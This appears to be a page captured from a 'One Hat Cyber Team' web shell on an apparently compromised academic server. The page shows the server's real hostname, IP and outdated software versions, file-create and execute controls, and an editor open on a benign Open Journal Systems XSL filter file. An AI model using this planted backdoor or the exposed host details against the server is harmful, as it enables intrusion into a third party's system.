One Hat Cyber Team
Your IP :
216.73.216.14
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-mfat.33
/
lib
/
pkp
/
xml
/
Edit File:
onixFilter.xsl
<?xml version="1.0" encoding="UTF-8"?> <!-- * xml/onixFilter.xsl * * Copyright (c) 2014-2021 Simon Fraser University * Copyright (c) 2000-2021 John Willinsky * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING. * * XSL-based filter to remove extraneous elements (e.g. List7) for use in OMP --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:oai="http://www.openarchives.org/OAI/2.0/" xmlns:xs="http://www.w3.org/2001/XMLSchema" > <xsl:param name="listName" /><!-- this is handed in via XSLTransformer->setParameters() --> <xsl:output method="xml"/> <xsl:template match="/"> <xs:simpleType><xsl:attribute name="name"><xsl:value-of select="$listName" /></xsl:attribute> <xsl:for-each select="//xs:simpleType[@name=$listName]/xs:restriction/xs:enumeration"> <xsl:variable name="value"><xsl:value-of select="@value" /></xsl:variable> <xsl:choose> <!--- Lists not specifically referenced in a <xsl:when> block will be processed with all of their values included in the returned codelist. To filter a list, just create a new <xsl:when></xsl:when> block with a test for the list name, and then define the test you want to use. --> <xsl:when test="$listName='List7'"><!-- ONIX list for formats --> <xsl:if test="@value = 'AA' or @value = 'BC' or @value = 'BB' or @value = 'DA' or @value = 'EA'"> <xsl:call-template name="onixFilterOutputWithCode" /> </xsl:if> </xsl:when> <xsl:when test="$listName='List55'"><!-- Don't include code number in dates --> <xsl:call-template name="onixFilterOutputWithoutCode" /> </xsl:when> <xsl:otherwise> <!-- define a case for all lists that are not filtered (yet) --> <xsl:call-template name="onixFilterOutputWithCode" /> </xsl:otherwise> </xsl:choose> </xsl:for-each> </xs:simpleType> </xsl:template> <!-- recreate the ONIX node with the appropriate content. Note: this removes the extraneous xs:documentation element --> <xsl:template name="onixFilterOutputWithCode"> <xs:enumeration><xsl:attribute name="value"><xsl:value-of select="@value"/></xsl:attribute> <xs:documentation><xsl:value-of select="xs:annotation/xs:documentation[position()=1]"/> (<xsl:value-of select="@value"/>)</xs:documentation> </xs:enumeration> </xsl:template> <xsl:template name="onixFilterOutputWithoutCode"> <xs:enumeration><xsl:attribute name="value"><xsl:value-of select="@value"/></xsl:attribute> <xs:documentation><xsl:value-of select="xs:annotation/xs:documentation[position()=1]"/></xs:documentation> </xs:enumeration> </xsl:template> </xsl:stylesheet>
Simpan